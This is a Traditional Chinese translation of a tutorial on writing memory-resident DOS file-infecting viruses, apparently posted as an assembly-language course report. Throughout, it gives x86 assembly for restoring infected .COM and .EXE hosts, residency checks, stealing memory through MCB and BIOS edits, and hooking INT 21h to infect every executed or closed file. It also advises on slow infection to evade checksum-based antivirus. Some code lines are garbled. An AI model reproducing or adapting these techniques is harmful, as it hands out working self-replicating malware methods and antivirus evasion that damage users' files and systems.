常駐型病毒:



結構

  這種病毒包含了兩大部分:載入機制以及攔截處理。載入機制提供了兩種功能。首先,它會將中斷向量轉至病毒本身;其次,它將病毒常駐。而攔截處理則含有會導致感染檔案的程式碼。廣義而言,處理機制會竄改第21號中斷並截斷某些可用於執行檔案的呼叫。  


載入機制

  載入機制包含了兩大部分:常駐程序以及還原程序。後者所做的,就如同非常駐型病毒的一般,將控制權交回原始檔案。感染.COM檔。只要把開頭前幾位元組換掉,控制權便移轉到病毒上。還原.COM檔的秘訣僅僅只要將被覆蓋的那幾位元組還原即可。這個還原過程發生在記憶體中,所以並不是永久的。由於.COM檔只佔單一節區,且總是由此節區內偏移值 100h 處載入(因為要預留 PSP的空間),復原程序變的異常簡單。舉例而言,假如名為"first3"的緩衝區內存放的是受病毒感染前檔案的前三位元組,則以下的程式碼便會在記憶體中將原始碼還原:


   mov   di,100h       ; Absolute location of destination
   lea    si,[bp+first3]    ; Load address of saved bytes.
                 ; Assume bp = "delta offset"
   mov   sw        ; Assume CS = DS = ES and a cleared                        direction flag
   mov   sb        ; Move three bytes

  將控制權交還程式的問題仍然存在。亦即表示必須強迫程式將控制權移轉到偏移值100h 的處。最簡單的解法就像:

   mov   di,100h
   jmp   di

  這個程序有多種變化可以做到,但它們都達到將IP設為 100h 的基本要求。 感染.EXE檔的奧義。最簡易的手法就是替換.EXE檔檔頭的某些固定的位元組。還原的秘訣就在於恢復所有病毒做過的修改。程式如下:


   mov   ax, es              ; ES = segment of PSP
   add   ax, 10h              ; Loading starts after PSP
   add   word ptr cs:[bp+OrigCSIP+2], ax   ; Header segment value was                          ; relative to end of PSP
   cli
   add   ax, word ptr cs:[bp+OrigSSSP+2]    ; Adjust the stack as well
   mov   ss, ax
   mov   sp, word ptr cs:[bp+OrigSSSP]
   sti      
   db    0eah                ; JMP FAR PTR SEG:OFF
   OrigCSIP dd ?               ; Put values from the header
   OrigSSSP  dd ?               ; into here


安裝查核

  安裝查核有評多不同的類別。最常見的就是呼叫第21號中斷,並在AX暫存器中放入特定的值。假若由某特定暫存器傳回某特定值,那表示此病毒已經常駐過了。舉例而言,一個確認常駐的範例如下:


   mov ax,9999h  ; residency check
   int  21h
   cmp bx,9999h  ; returns bx=9999h if installed
   jz  already_installed

  當你為了安裝查核,而要選放入AX的值時,記得不要衝到既有的呼叫,除非原本就是無害的。比如說,不要使用秀字串在螢幕上的呼叫(ah=9),除非你希望在它第一次常駐時發生不可預期的結果!而無害的呼叫,就像是取得 DOS版本(ah=30h)或是更新鍵盤緩衝區(ah=0bh)的呼叫。當然,假若這個檢查與現有的功能衝到,那你必須非常小心的確認沒有程式會對它感冒。舉例而言,不要只誘捕ah=30h,而是要誘捕ax=3030h或是將ax=3030h以及bx=3030h同時誘導。另一種檢查是否已常駐的方法就是去找尋病毒中的某些特徵。比如說,假若某病毒總是將某未使用的中斷呼叫指向它本身,一個檢查的方法便是去找尋此特徵所使用的中斷向量。如下:

   xor  ax,ax
   mov  ds,ax    ; ds->interrupt table
   les  bx,ds:[60h*4] ; get address of interrupt 60h                        ; assume the virus traps this and puts its int 21h handler                    ; here
   cmp es:bx,0FF2Eh ; search for the virus string
   .
   .
   .
   int60:
   jmp  far ptr cs:origint21

當你使用此法時,請小心確認此特徵不會在病毒常駐時失效。在上例中,其它程式就不能攔截 60h,否則查核會失效。甚至當病毒已載入記憶體時,會產生不可預期的後果。


尋找記憶體的頂端

  DOS 通常配置所有的記憶體給被載入的程式。利用這個知識,病毒可以很容易的得到可使用的記憶體大小。重覆一次,MCB 的結構是:

  Offset  Size Meaning
  ------ ------- -------
  0    BYTE 'M' or 'Z'
  1    WORD Process ID (PSP of block's owner)
  3    WORD Size in paragraphs
  5    3 BYTES Reserved (Unused)
  8    8 BYTES DOS 4+ uses this. Yay.

  mov  ax,ds   ; Assume DS initially equals the segment of the PSP
  dec   ax
  mov  ds,ax   ; DS = MCB of infected program
  mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)

  一個有同樣效果卻更簡單的方法是按照下列方式使用DOS 的重配置記憶體呼叫:


   mov  ah,4ah  ; Alter memory allocation (assume ES = PSP)
   mov  bx,0FFFFh ; Request a ridiculous amount of memory
   int   21h   ; Returns maximum available memory in BX
           ; This is the same value as in ds:[3]


配置高記憶體

  配置記憶體最簡單的方法是透過DOS 完成你的工作:

   mov  ah,4ah   ; Alter memory allocation (assume ES = PSP)
   sub   bx,(endvirus-startvirus+15)/16+1
            ; Assume BX originally held total
            ; memory available to the program (returned by earlier
            ; call to int 21h/function 4ah
   int   21h

   mov  ah,48h   ; Allocate memory
   mov   bx,(endvirus-startvirus+15)/16
   int   21h
   mov  es,ax    ; es now holds the high memory segment
   dec   bx
   mov  byte ptr ds:[0], 'Z'  ; probably not needed
   mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB

  將MCB 的擁有者設為DOS 的目的是為了防止當載體程式結束時,記憶區段會被釋放的後果。當然,有人喜愛直接修改MCBs的值。這是很容易做到的。假設DS的值和載體程式MCB的節位址相同,下面的程式提供了這種技巧:

  ; Step 1) Shrink the carrier program's memory allocation
  ; One paragraph is added for the MCB of the memory area which the virus
  ; will inhabit
  sub  ds:[3],(endvirus-startvirus+15)/16 + 1

  ; Step 2) Mark the carrier program's MCB as the last in the chain
  ; This isn't really necessary, but it assures that the virus will not
  ; corrupt the memory chains
  mov  byte ptr ds:[0],'Z'

  ; Step 3) Alter the program's top of memory field in the PSP
  ; This preserves compatibility with COMMAND.COM and any other program
  ; which uses the field to determine the top of memory
  sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

  ; Step 4) Calculate the first usable segment
  mov  bx,ds:[3] ; Get MCB size
  stc          ; Add one for the MCB segment
  adc   bx,ax     ; Assume AX still equals the MCB of the carrier file
             ; BX now holds first usable segment. Build the MCB
             ; there
  ; Alternatively, you can use the value in ds:[12h] as the first usable
  ; segment:
  ; mov bx,ds:[12h]
  ; Step 5) Build the MCB
  mov  ds,bx   ; ds holds the area to build the MCB
  inc   bx    ; es now holds the segment of the memory area controlled
  mov  es,bx   ; by the MCB
  mov  byte ptr ds:[0],'Z'  ; Mark the MCB as the last in the chain
           ; Note: you can have more than one MCB chain
  mov  word ptr ds:[1],8   ; Mark DOS as the owner
  mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

  下面則又是另一種直接修改MCB 的方法。

  ; Step 1) Shrink the carrier program's memory allocation
  ; Note that rounding is to the nearest 1024 bytes and there is no
  ; addition for an MCB
  sub  ds:[3],((endvirus-startvirus+1023)/1024)*64

  ; Step 2) Mark the carrier program's MCB as the last in the chain
  mov  byte ptr ds:[1],'Z'
  
  ; Step 3) Alter the program's top of memory field in the PSP
  sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

  ; Step 4) Calculate the first usable segment
  mov  es,word ptr ds:[12h]
  ; Step 5) Shrink the total memory as held in BIOS
  ; Memory location 0:413h holds the total system memory in K
  xor  ax,ax
  mov  ds,ax
  sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

  後者比前者強大,因為它比前者簡單且短小。新的MCB 不需被建立,因為DOS 將不再配置被病毒佔據的記憶體。修改記載在BIOS資料區有關記憶體大小的記錄可以保證這個情形。


複製病毒至高記憶體

  這是件十分容易的事。只要將ES對準高記憶體節區,DS對準CS,BP對準偏移值,下面的程式碼便可以達到目的:

  lea  si,[bp+offset startvirus]
  xor  di,di    ; destination @ 0
  mov  cx,(endvirus-startvirus)/2
  rep  movsw   ; Copy away, use words for speed


置換中斷向量

  再度,有兩個方式可以使用:透過DOS 或直接置換。每個有心的程式設計者都曾和中斷向量奮鬥過。若透過DOS :

  push  es            ; es->high memory
  pop  ds            ; ds->high memory
  mov  ax,3521h         ; get old int 21h handler
  int   21h            ; to es:bx
  mov  word ptr ds:oldint21,bx    ; save it
  mov  word ptr ds:oldint21+2,es
  mov  dx,offset int21       ; ds:dx->new int 21h handler in virus
  mov  ax,2521h         ; set handler
  int   21h

  而若直接修改:

  xor   ax,ax
  mov  ds,ax
  lds   bx,ds:[21h*4]
  mov  word ptr es:oldint21,bx
  mov  word ptr es:oldint21+2,ds
  mov  ds,ax
  mov  ds:[21h*4],offset int21
  mov  ds:[21h*4+2],es

  由於變數的位置已經知道,位移值差距的計算並不十分重要。這是因為病毒總是載入至高記憶體偏移值0的地方。


攔截處理

  攔截處理機制是用於截斷DOS 的呼叫並轉接至病毒。傳統上,攔截處理是由一個檢查安裝查核呼叫的步驟開始。舉例來說:

  int21:
  cmp  ax,9999h   ; installation check?
  jnz   not_installation_check
  xchg  ax,bx    ; return bx = 9999h if installed
  iret         ; exit interrupt handler
            not_installation_check:
            ; rest of interrupt handler goes here

  在不妨礙的情形下,病毒可以竄改任何它想攔截的DOS 呼叫。通常最有竄改價值的呼叫是檔案執行(ax=4b00h),如此一來,每個被執行的檔案都會被感染。另一個可以竄改的呼叫是代碼關閉(雖然這要花較多的工夫)。這種感染就會發生在拷貝、觀看、補綴上。在某些呼叫上,前置鏈結較好;反之,則用後置鏈結。就當做基本常識吧!假如被攔截的呼叫將會破壞檔案或指位器,那麼使用前置鏈結。若是呼叫必須在感染前完成,那就使用後置鏈結。(譯注:前置鏈結表示該呼叫在感染行為前串接,反之亦然)前置鏈結很簡單:

  pushf          ; simulate an int 21h call
  call dword ptr cs:oldint21

              ; The following code ensures that the flags will be
                properly set upon
              ; return to the caller
  pushf
  push  bp
  push  ax

              ; flags [bp+10]
              ; calling CS:IP [bp+6]
              ; flags new [bp+4]
              ; bp [bp+2]
              ; ax [bp]

  mov  bp, sp      ; setup stack frame
  mov  ax, [bp+4]     ; get new flags
  mov  [bp+10], ax    ; replace the old with the new

  pop  ax        ; restore stack
  pop  bp
  popf

在鏈結完成,離開攔截處理時,使用 iret 較 retn 或 retf 為佳。後置鏈結更簡單:

  jmp  dword ptr cs:oldint21  ; this never returns to the virus int handler

  當離開攔截處理時,請確認堆疊的完整及暫存器的原值。務必在前置鏈結之後及後置鏈結前保存下暫存器的內值。常駐式病毒的感染動作基本上和非常駐病毒是相同的。唯一的不同處是在當攔截處理竄改感染程序中某個會用到的呼叫之時。比如說,若是要竄改代碼關閉呼叫,那麼感染程序就要用一個指向原 int21h 處理器的程序把代碼關閉的呼叫換掉。就像:

  pushf
  call dword ptr cs:oldint21

  對常駐病毒而言,當處理編碼過程時,這也是必須的。在非常駐病毒中,病毒碼在整個過程中是沒有必要保存下來的。然而,就算是在感染發生時,保持解碼完的攔截處理程式是值得做的。因此,病毒要在記憶體中留下兩份拷貝:一份就是程式而另一份視做資料。編碼器就將後者編碼而保持攔截處理在程式中。這是相當重要的,尤其是當病毒還會竄改其它中斷,如 int09h 或 int13h 時。


常駐病毒的一項理論

  常駐病毒在傳統上可分為兩類:慢速傳染型及快速傳染型。這兩類各有其利弊得失。

  慢速傳染型是除了檔案建立外都不感染的。這類病毒修改建檔程序,並在檔案關閉時感染檔案。感染將發生在新檔的建立及檔案的拷貝上。這種病毒的一個缺點就是它散佈的太慢了。然而,這個缺點也正是優點所在,它將可以保持長時間的不可偵測。雖然感覺上此類病毒較無效率,不過事實上它們表現的不錯!在建檔時傳染,同時表示,那些所謂的 Checksum/CRC 式防毒程式無法在感染之前對此檔案進行 Checksum/CRC 處理。除此之外,檔案通常多由一個目錄拷貝至另一個不同的目錄。故此類病毒可行。

  快速傳染型在執行檔案時傳染。這類病毒通常立即攻擊常用程式,以確保下次開機後仍能存在於記憶體中。這是它們的主要優點,卻也是最大的缺點。因為這類病毒傳染的十分快速,使用者很容易會發現系統的不尋常;尤其是在病毒未使用任何隱形技巧之時。當然,沒人敢說那一種是較佳的。這是個人喜好的問題。雖然慢速傳染型病毒正在急速增加,現今大多數病毒仍是快速感染型。當病毒欲在建檔或拷貝時感染,它必須把檔名複製到緩衝區內,執行呼叫,並保存代碼。當收到此代碼的關檔指示時,就利用剛保存的檔名去感染檔案。這是不用追入DOS內部,僅是在關閉代碼後感染的一個最簡單的方法。


回組語期末報告首頁

呼~~終於打完了!好累•••